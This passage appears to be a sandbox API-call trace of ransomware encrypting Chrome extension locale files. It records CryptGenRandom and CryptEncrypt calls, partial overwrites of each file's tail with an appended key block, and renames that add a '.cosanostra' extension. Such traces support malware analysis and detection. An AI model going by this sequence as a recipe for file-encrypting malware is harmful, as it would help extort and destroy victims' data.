pdwDataLen=0x28df9d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9d0*=0x30) returned 1 [0086.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.537] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 155 [0086.537] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.538] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffff3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.538] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x28df994, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df994*=0xc2, lpOverlapped=0x0) returned 1 [0086.538] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.539] WriteFile (in: hFile=0xbc, lpBuffer=0x28df9d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df994, lpOverlapped=0x0 | out: lpBuffer=0x28df9d4*, lpNumberOfBytesWritten=0x28df994*=0x4, lpOverlapped=0x0) returned 1 [0086.539] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df994, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df994*=0x30, lpOverlapped=0x0) returned 1 [0086.539] CloseHandle (hObject=0xbc) returned 1 [0086.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.cosanostra")) returned 1 [0086.540] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9d0 | out: pbBuffer=0x28df9d0) returned 1 [0086.540] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9c8*=0x30) returned 1 [0086.540] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.541] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 158 [0086.541] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.542] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffff56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.542] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0x28df98c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df98c*=0xaa, lpOverlapped=0x0) returned 1 [0086.542] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.542] WriteFile (in: hFile=0xbc, lpBuffer=0x28df9cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df98c, lpOverlapped=0x0 | out: lpBuffer=0x28df9cc*, lpNumberOfBytesWritten=0x28df98c*=0x4, lpOverlapped=0x0) returned 1 [0086.542] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df98c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df98c*=0x30, lpOverlapped=0x0) returned 1 [0086.542] CloseHandle (hObject=0xbc) returned 1 [0086.542] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0086.544] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9c8 | out: pbBuffer=0x28df9c8) returned 1 [0086.544] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9c0*=0x30) returned 1 [0086.544] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.544] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 158 [0086.544] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.545] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffff2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.545] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x28df984, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df984*=0xd2, lpOverlapped=0x0) returned 1 [0086.545] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.545] WriteFile (in: hFile=0xbc, lpBuffer=0x28df9c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df984, lpOverlapped=0x0 | out: lpBuffer=0x28df9c4*, lpNumberOfBytesWritten=0x28df984*=0x4, lpOverlapped=0x0) returned 1 [0086.546] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df984, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df984*=0x30, lpOverlapped=0x0) returned 1 [0086.546] CloseHandle (hObject=0xbc) returned 1 [0086.546] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json.cosanostra")) returned 1 [0086.548] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9c0 | out: pbBuffer=0x28df9c0) returned 1 [0086.548] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9b8*=0x30) returned 1 [0086.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.548] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 158 [0086.548] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.549] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.549] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x28df97c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df97c*=0xb0, lpOverlapped=0x0) returned 1 [0086.549] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.549] WriteFile (in: hFile=0xbc, lpBuffer=0x28df9bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df97c, lpOverlapped=0x0 | out: lpBuffer=0x28df9bc*, lpNumberOfBytesWritten=0x28df97c*=0x4, lpOverlapped=0x0) returned 1 [0086.549] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df97c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df97c*=0x30, lpOverlapped=0x0) returned 1 [0086.550] CloseHandle (hObject=0xbc) returned 1 [0086.550] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0086.554] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9b8 | out: pbBuffer=0x28df9b8) returned 1 [0086.554] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9b0*=0x30) returned 1 [0086.555] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.555] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 155 [0086.555] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.556] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.556] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x28df974, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df974*=0xdd, lpOverlapped=0x0) returned 1 [0086.556] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.556] WriteFile (in: hFile=0xbc, lpBuffer=0x28df9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df974, lpOverlapped=0x0 | out: lpBuffer=0x28df9b4*, lpNumberOfBytesWritten=0x28df974*=0x4, lpOverlapped=0x0) returned 1 [0086.556] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df974, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df974*=0x30, lpOverlapped=0x0) returned 1 [0086.557] CloseHandle (hObject=0xbc) returned 1 [0086.557] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0086.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9b0 | out: pbBuffer=0x28df9b0) returned 1 [0086.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9a8*=0x30) returned 1 [0086.559] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.559] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 155 [0086.559] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.560] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xfffffe89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.560] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x177, lpNumberOfBytesWritten=0x28df96c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df96c*=0x177, lpOverlapped=0x0) returned 1 [0086.560] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.560] WriteFile (in: hFile=0xbc, lpBuffer=0x28df9ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df96c, lpOverlapped=0x0 | out: lpBuffer=0x28df9ac*, lpNumberOfBytesWritten=0x28df96c*=0x4, lpOverlapped=0x0) returned 1 [0086.560] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df96c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df96c*=0x30, lpOverlapped=0x0) returned 1 [0086.561] CloseHandle (hObject=0xbc) returned 1 [0086.561] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.cosanostra")) returned 1 [0086.562] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9a8 | out: pbBuffer=0x28df9a8) returned 1 [0086.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df9a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df9a0*=0x30) returned 1 [0086.563] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.563] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 155 [0086.563] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.563] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xfffffeeb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.564] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x28df964, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df964*=0x115, lpOverlapped=0x0) returned 1 [0086.564] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.564] WriteFile (in: hFile=0xbc, lpBuffer=0x28df9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df964, lpOverlapped=0x0 | out: lpBuffer=0x28df9a4*, lpNumberOfBytesWritten=0x28df964*=0x4, lpOverlapped=0x0) returned 1 [0086.564] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df964, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df964*=0x30, lpOverlapped=0x0) returned 1 [0086.564] CloseHandle (hObject=0xbc) returned 1 [0086.564] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0086.565] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df9a0 | out: pbBuffer=0x28df9a0) returned 1 [0086.565] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df998*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df998*=0x30) returned 1 [0086.565] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.566] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 155 [0086.566] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.567] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xffffff33, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.567] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x28df95c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df95c*=0xcd, lpOverlapped=0x0) returned 1 [0086.567] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.567] WriteFile (in: hFile=0xbc, lpBuffer=0x28df99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df95c, lpOverlapped=0x0 | out: lpBuffer=0x28df99c*, lpNumberOfBytesWritten=0x28df95c*=0x4, lpOverlapped=0x0) returned 1 [0086.567] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df95c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df95c*=0x30, lpOverlapped=0x0) returned 1 [0086.567] CloseHandle (hObject=0xbc) returned 1 [0086.567] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.cosanostra" (normalized: 